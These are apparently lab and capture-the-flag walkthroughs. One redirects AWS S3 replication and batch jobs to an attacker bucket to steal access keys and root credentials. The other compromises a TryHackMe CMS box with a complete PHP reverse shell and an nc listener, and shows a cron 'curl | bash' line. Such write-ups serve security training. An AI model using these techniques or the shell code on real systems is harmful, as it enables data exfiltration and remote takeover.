}

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --version-id v1

{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:ListBucket",
                        "s3:GetReplicationConfiguration",
                        "s3:GetObjectVersionTagging",
                        "s3:GetObjectVersionForReplication",
                        "s3:GetObjectVersionAcl",
                        "s3:GetObjectRetention",
                        "s3:GetObjectLegalHold"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37"
                    ]
                },
                {
                    "Action": [
                        "s3:ReplicateTags",
                        "s3:ReplicateObject",
                        "s3:ReplicateDelete",
                        "s3:ObjectOwnerOverrideToBucketOwner"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                    ]
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T01:13:40+00:00"
    }
}

We shall use the following malicious policy document in which we change the Resource to remove the replica bucket as the target and add the s3-secure-backup bucket which we have full control over.

{
  "Statement": [
      {
          "Action": [
              "s3:ListBucket",
              "s3:GetReplicationConfiguration",
              "s3:GetObjectVersionTagging",
              "s3:GetObjectVersionForReplication",
              "s3:GetObjectVersionAcl",
              "s3:GetObjectRetention",
              "s3:GetObjectLegalHold"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-replica-4c8691723a37",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37"
          ]
      },
      {
          "Action": [
              "s3:ReplicateTags",
              "s3:ReplicateObject",
              "s3:ReplicateDelete",
              "s3:ObjectOwnerOverrideToBucketOwner"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
          ]
      }
  ],
  "Version": "2012-10-17"
}

We then upload this policy document

❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --policy-document file://s3_replication_policy.json --set-as-default
{
    "PolicyVersion": {
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T02:25:04+00:00"
    }
}

Next we have to see if we are able to modify the Replication Rules and we will first try to change the Name of the rule. The following is the modified JSON file in which we have just modified the ID value.

{
  "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
  "Rules": [
      {
          "ID": "replicateAll-test",
          "Priority": 1,
          "Filter": {
              "Prefix": ""
          },
          "Status": "Enabled",
          "Destination": {
              "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
              "StorageClass": "STANDARD",
              "ReplicationTime": {
                  "Status": "Enabled",
                  "Time": {
                      "Minutes": 15
                  }
              },
              "Metrics": {
                  "Status": "Enabled",
                  "EventThreshold": {
                      "Minutes": 15
                  }
              }
          },
          "DeleteMarkerReplication": {
              "Status": "Disabled"
          }
      }
  ]
}

We uploaded the policy and got no errors.

❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json

We check the policy to be sure, and we can confirm that we have permissions to modify.

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll-test",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

We have confirmed that we have access to modify the Replication Rules and shall modify the replication target to change the replication target.

{
  "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
  "Rules": [
      {
          "ID": "replicateAll-test",
          "Priority": 1,
          "Filter": {
              "Prefix": ""
          },
          "Status": "Enabled",
          "Destination": {
              "Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
              "StorageClass": "STANDARD",
              "ReplicationTime": {
                  "Status": "Enabled",
                  "Time": {
                      "Minutes": 15
                  }
              },
              "Metrics": {
                  "Status": "Enabled",
                  "EventThreshold": {
                      "Minutes": 15
                  }
              }
          },
          "DeleteMarkerReplication": {
              "Status": "Disabled"
          }
      }
  ]
}

We follow the sames steps as earlier and confirm the changes have been applied

❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll-test",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

We will now test this is working correctly by uploading a new file to the production bucket and then see if we are able to retrieve it from the s3-secure-backup bucket.

❯ aws --profile pentester s3 cp new_message.txt s3://cust-txn-prod-4c8691723a37
upload: ./new_message.txt to s3://cust-txn-prod-4c8691723a37/new_message.txt

❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37
2024-06-19 11:01:02         48 new_message.txt

Success! Anything that now goes into the production bucket will be replicated to our bucket including any sensitive or financial data.

Use Batch-Ops to exfiltrate existing S3 objects

It is reasonable to think that if we have permissions to change S3 replication configuration that we would have the same with regards to Batch Operations. We will first get details on the policy and its configuration

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy
{
    "Policy": {
        "PolicyName": "s3_batch_operations_policy",
        "PolicyId": "ANPAUSHNW2N32HBDH3K5M",
        "Arn": "arn:aws:iam::314031133559:policy/s3_batch_operations_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for S3 Batch Operations",
        "CreateDate": "2024-06-19T01:13:40+00:00",
        "UpdateDate": "2024-06-19T01:13:40+00:00",
        "Tags": []
    }
}

❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "s3:InitiateReplication",
                        "s3:GetReplicationConfiguration",
                        "s3:PutInventoryConfiguration"
                    ],
                    "Effect": "Allow",
                    "Resource": [
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37",
                        "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                    ]
                },
                {
                    "Action": [
                        "s3:GetObject",
                        "s3:GetObjectVersion",
                        "s3:PutObject"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
                },
                {
                    "Action": "s3:PutObject",
                    "Effect": "Allow",
                    "Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2024-06-19T01:13:40+00:00"
    }
}

With a copy of the policy, we shall modify it to allow the action s3:PutObject to allow access to the s3-secure-bucket

{
  "Statement": [
      {
          "Action": [
              "s3:InitiateReplication",
              "s3:GetReplicationConfiguration",
              "s3:PutInventoryConfiguration"
          ],
          "Effect": "Allow",
          "Resource": [
              "arn:aws:s3:::cust-txn-prod-4c8691723a37",
              "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
          ]
      },
      {
          "Action": [
              "s3:GetObject",
              "s3:GetObjectVersion",
              "s3:PutObject"
          ],
          "Effect": "Allow",
          "Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
      },
      {
          "Action": "s3:PutObject",
          "Effect": "Allow",
          "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*"
      }
  ],
  "Version": "2012-10-17"
}

We then upload the modified policy document and see that this is successful and the VersionId is incremented.

❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --policy-document file://s3_batch_operations_policy.json
{
    "PolicyVersion": {
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2024-06-19T03:34:48+00:00"
    }
}

Next we need to set permissions on the s3-secure-bucket and to help with that, we will copy the policy from the replica and use that as our base.

❯ aws --profile pentester s3api get-bucket-policy --bucket cust-txn-replica-4c8691723a37 | jq -r '.Policy' | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We modify this by updating the Resource from the replica bucket to the s3-secure-bucket.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We upload the policy and then verify that it has successfully been applied.

❯ aws --profile pentester s3api put-bucket-policy --bucket s3-secure-backup-4c8691723a37 --policy file://s3-secure-bucket.json

❯ aws --profile pentester s3api get-bucket-policy --bucket s3-secure-backup-4c8691723a37 | jq -r '.Policy' | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "s3.amazonaws.com"
      },
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
      "Condition": {
        "StringEquals": {
          "aws:SourceAccount": "036528129738",
          "s3:x-amz-acl": "bucket-owner-full-control"
        },
        "ArnLike": {
          "aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
        }
      }
    }
  ]
}

We now initiate a batch operation job with the following command:

aws --profile pentester s3control create-job \
    --account-id 314031133559 \
    --operation '{"S3ReplicateObject":{}}' \
    --report '{"Bucket":"arn:aws:s3:::s3-secure-backup-4c8691723a37","Prefix":"batch-replication-report","Format":"Report_CSV_20180820","Enabled":true,"ReportScope":"AllTasks"}' \
    --manifest-generator '{"S3JobManifestGenerator":{"ExpectedBucketOwner":"314031133559","SourceBucket":"arn:aws:s3:::cust-txn-prod-4c8691723a37","EnableManifestOutput":false,"Filter":{"EligibleForReplication":true,"ObjectReplicationStatuses": ["NONE","FAILED","COMPLETED","REPLICA"]}}}' \
    --priority 1 \
    --role-arn "arn:aws:iam::314031133559:role/s3_batch_operations_role" \
    --no-confirmation-required \
    --region us-west-2 \
    --description "Batch job to replicate objects from source bucket to attackers bucket"

{
    "JobId": "7e900e96-8a25-4f62-aee3-09de19558bb3"
}

The Job is then queued and we can run the following command and wait to see the Status marked as Complete.

❯ aws --profile pentester s3control list-jobs --account-id 314031133559 --region us-west-2
{
    "Jobs": [
        {
            "JobId": "f887b6bc-8e21-439d-a777-ce80eeb21255",
            "Description": "Batch job to replicate objects from source bucket to attackers bucket",
            "Operation": "S3ReplicateObject",
            "Priority": 1,
            "Status": "Complete",
            "CreationTime": "2024-06-19T04:47:51.106000+00:00",
            "ProgressSummary": {
                "TotalNumberOfTasks": 3,
                "NumberOfTasksSucceeded": 3,
                "NumberOfTasksFailed": 0,
                "Timers": {
                    "ElapsedTimeInActiveSeconds": 120
                }
            }
        }

We list the files in the directory of the s3-secure-backup and we can see that this has been successful.

❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37 --recursive
2024-06-19 09:14:41         94 Security_accessKeys.csv
2024-06-19 12:51:01        489 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json
2024-06-19 12:51:01         32 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/manifest.json.md5
2024-06-19 12:51:01        304 batch-replication-report/job-f887b6bc-8e21-439d-a777-ce80eeb21255/results/54d6906181e032972479d71b161b6f4f48ab76c2.csv
2024-06-19 09:37:40         19 message.txt
2024-06-19 11:01:02         48 new_message.txt

There is one file that looks interesting and that is the Security_accessKeys.csv which we will download

❯ aws --profile pentester s3 cp s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv .
download: s3://s3-secure-backup-4c8691723a37/Security_accessKeys.csv to ./Security_accessKeys.csv

❯ cat Security_accessKeys.csv
Access key ID,Secret access key
AKIAQ5M4GIJVVW4NMF6X,Olx0v5be4cN56dZ10wgHqAsHf1unhY7TTj2xL3ti

With the file name from the production bucket, we can also use this to get a copy from the replica bucket.

Privilege Escalation

With the credentials found in the S3 buckets we update our AWS Configuration and validate that the credentials are good.

❯ aws --profile security configure
AWS Access Key ID [****************KM65]: AKIAQ5M4GIJVVW4NMF6X
AWS Secret Access Key [****************go5f]: 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
Default region name [us-west-2]:
Default output format [None]:


❯ aws --profile security sts get-caller-identity
{
    "UserId": "AIDAQ5M4GIJV2PILOURPW",
    "Account": "063141462635",
    "Arn": "arn:aws:iam::063141462635:user/security"
}

This time we shall use aws-enumerator and first, we need to load our credentials and then we will enumerate all services.

❯ ~/go/bin/aws-enumerator cred -aws_access_key_id AKIAQ5M4GIJVVW4NMF6X -aws_region us-west-2 -aws_secret_access_key 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
Message:  File .env with AWS credentials were created in current folder

❯ ~/go/bin/aws-enumerator enum -services all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
Message:  Successful APIGATEWAY: 0 / 8
Message:  Successful APPSYNC: 0 / 1
Message:  Successful ACM: 0 / 1
Message:  Successful ATHENA: 0 / 3
<--- snip --->
Message:  Successful SECRETSMANAGER: 1 / 2
<--- snip --->
Message:  Successful WORKLINK: 0 / 1
Time: 1m34.840934527s
Message:  Enumeration finished

This is significantly faster than brute-forcing IAM permissions with Pacu, but with far less detail. We can see that we have permissions to SecretsManager and shall list out the secrets.

❯ aws --profile security secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
            "Name": "root_account_906e09bc9074",
            "Description": "AWS Organization root account",
            "LastChangedDate": "2024-06-19T14:47:05.447000+08:00",
            "LastAccessedDate": "2024-06-19T08:00:00+08:00",
            "SecretVersionsToStages": {
                "terraform-20240619064705375100000002": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2024-06-19T14:47:05.084000+08:00"
        }
    ]
}

We can see from the above output that there is the AWS Organization Root Account Credentials which we shall retrieve.

❯ aws --profile security secretsmanager get-secret-value --secret-id root_account_906e09bc9074
{
    "ARN": "arn:aws:secretsmanager:us-west-2:063141462635:secret:root_account_906e09bc9074-YVUyHC",
    "Name": "root_account_906e09bc9074",
    "VersionId": "terraform-20240619064705375100000002",
    "SecretString": "{\"flag: 8b681ceb4547c181bf82b7bff602d0f6\":\"magnus@huge-logistics.com : OrgR00TP@ss!!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2024-06-19T14:47:05.443000+08:00"
}

We have the flag and the keys to the entire kingdom.

PWNED!!!

Walkthrough - THM mKingdom

Mon, 17 Jun 2024 09:58:00 +0800

This walkthrough is related to the easy level box from Try Hack Me called mKingdom. Let’s get started

We deploy the machine and once it is launched we run RustScan to see what ports are open (some content has been removed for brevity) and find that there is only Port 85 is open.

❯ rustscan -a 10.10.4.31 -- -A -oA nmap-scan
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/n3ph0s/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.4.31:85
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -oA nmap-scan" on ip 10.10.4.31
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 08:36 PST
Scanned at 2024-06-15 08:36:34 PST for 30s

PORT   STATE SERVICE REASON         VERSION
85/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 5.4 (96%), Linux 3.10 - 3.13 (96%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=6/15%OT=85%CT=%CU=41512%PV=Y%DS=2%DC=T%G=N%TM=666CE230%P=x86_64-pc-linux-gnu)
SEQ(SP=101%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)
OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)
WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)
ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 202.073 days (since Sun Nov 26 06:52:26 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   379.02 ms 10.11.0.1
2   379.14 ms 10.10.4.31

Read data files from: /usr/bin/are/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.15 seconds
           Raw packets sent: 59 (4.192KB) | Rcvd: 41 (3.068KB)

You can see in the nmap output that the title is “OH NO! PWN3D 4G4IN” which we can confirm when we navigate to the page.

We run dirsearch and we find the /app directory

❯ dirsearch -u http://mkingdom.thm:85

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/n3ph0s/Hacking/Machines/THM/mKingdom/reports/http_mkingdom.thm_85/_24-06-15_10-40-31.txt

Target: http://mkingdom.thm:85/

[10:40:31] Starting:
[10:40:53] 403 -  290B  - /.ht_wsr.txt
[10:40:54] 403 -  293B  - /.htaccess.bak1
[10:40:54] 403 -  293B  - /.htaccess.orig
[10:40:54] 403 -  295B  - /.htaccess.sample
[10:40:54] 403 -  293B  - /.htaccess.save
[10:40:54] 403 -  294B  - /.htaccess_extra
[10:40:54] 403 -  293B  - /.htaccess_orig
[10:40:54] 403 -  291B  - /.htaccess_sc
[10:40:54] 403 -  291B  - /.htaccessBAK
[10:40:54] 403 -  291B  - /.htaccessOLD
[10:40:54] 403 -  292B  - /.htaccessOLD2
[10:40:54] 403 -  283B  - /.htm
[10:40:54] 403 -  284B  - /.html
[10:40:54] 403 -  293B  - /.htpasswd_test
[10:40:54] 403 -  289B  - /.htpasswds
[10:40:54] 403 -  290B  - /.httr-oauth
[10:40:59] 403 -  283B  - /.php
[10:40:59] 403 -  284B  - /.php3
[10:41:43] 301 -  312B  - /app  ->  http://mkingdom.thm:85/app/
[10:41:44] 200 -  457B  - /app/
[10:43:09] 403 -  292B  - /server-status
[10:43:09] 403 -  293B  - /server-status/

Task Completed

When we navigate to the page we are presented with a blank page and a “JUMP” button. Before clicking on the Jump button we look at the source code.


<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        button {
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            background-color: #4CAF50;
            color: #fff;
            border: none;
            border-radius: 5px;
        }
    style>
    <title>ACCESStitle>
head>
<body>
    <button onclick="buttonClick()">JUMPbutton>

    <script>
        function buttonClick() {
            alert("Make yourself confortable and enjoy my place.");
            window.location.href = 'castle';
        }
    script>
body>
html>

If we look at the function buttonClick() when we click the “JUMP” button an alert popup will appear with the message “Make yourself confortable and enjoy my place.” (Spelling mistake and all) and once we dismiss the alert we be redirected to the castle.

Now that we understand what the code does, we click on the button and we are taken to Toad’s website.

We start enumerating the site and we can see that there is a robots.txt file.

❯ curl http://mkingdom.thm:85/app/castle/robots.txt
User-agent: *
Disallow: /application/attributes
Disallow: /application/authentication
Disallow: /application/bootstrap
Disallow: /application/config
Disallow: /application/controllers
Disallow: /application/elements
Disallow: /application/helpers
Disallow: /application/jobs
Disallow: /application/languages
Disallow: /application/mail
Disallow: /application/models
Disallow: /application/page_types
Disallow: /application/single_pages
Disallow: /application/tools
Disallow: /application/views
Disallow: /ccm/system/captcha/picture

If we look at the bottom of the page there we can see in the footer that this is running Concrete5 CMS and at the bottom right hand side there is a button to login.

We go to the login page and we try initially, some generic passwords and we are able to login with admin:password.

NOTE: There is an IP Ban on this is you enter too many attempts

As we have admin permissions we look around and we click on System Settings -> Files -> Allowed File Types.

We are then shown the list of file extensions that are allowed and we then add PHP as an allowed extension.

We use the following reverse shell

  php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '10.11.79.78';  // You have changed this
  $port = 1337;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?>

We then setup a listener and we navigate to Files in the menu on the right and upload our shell.

Once this has been uploaded we click on the URL and we have our reverse shell.

❯ nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.11.79.78] from (UNKNOWN) [10.10.4.31] 48370
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 23:10:25 up  2:36,  0 users,  load average: 0.00, 0.02, 0.02
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
/bin/sh: 0: can't access tty; job control turned off
$

After we have upgraded our shell, we start enumerating the target and we find the credentials for the Toad user in /var/www/html/castle/application/config/database.php

www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php
php

return [
    'default-connection' => 'concrete',
    'connections' => [
        'concrete' => [
            'driver' => 'c5_pdo_mysql',
            'server' => 'localhost',
            'database' => 'mKingdom',
            'username' => 'toad',
            'password' => '',
            'character_set' => 'utf8',
            'collation' => 'utf8_unicode_ci',
        ],
    ],
];

With the credentials we are able to switch user to Toad and start enumeration again. We look in the environment variables and we find a variable called PWD_token which is a base64 encoded string which gives us a password that we are able to use to escalate our privileges to Mario.

We navigate to the home directory of Mario and we find the user.txt file, but when we go to run cat on it we are not able to view it. We look at the permissions of cat which has SUID bit set for Toad.

bash-4.3# ls -la /bin/cat
-rwsr-xr-x 1 toad root 47904 Mar 10  2016 /bin/cat

Whilst this is a strange setting, it is trivial to bypass and we just copied the file to /tmp and was able to read the contents of the file.

As we continued to enumerate the box, we found that the user Mario had sudo permissions to run the command id and also we have permissions to modify /etc/hosts. There is no PrivEsc that I am aware of for the id command, but the /etc/hosts was interesting and we then pspy which after a short period of time returned the following:

2024/06/14 23:56:01 CMD: UID=0    PID=5199   | bash
2024/06/14 23:56:01 CMD: UID=0    PID=5198   | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/14 23:56:01 CMD: UID=0    PID=5197   | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
2024/06/14 23:56:01 CMD: UID=0    PID=5196   | CRON
2024/06/14 23:57:01 CMD: UID=0    PID=5204   | bash
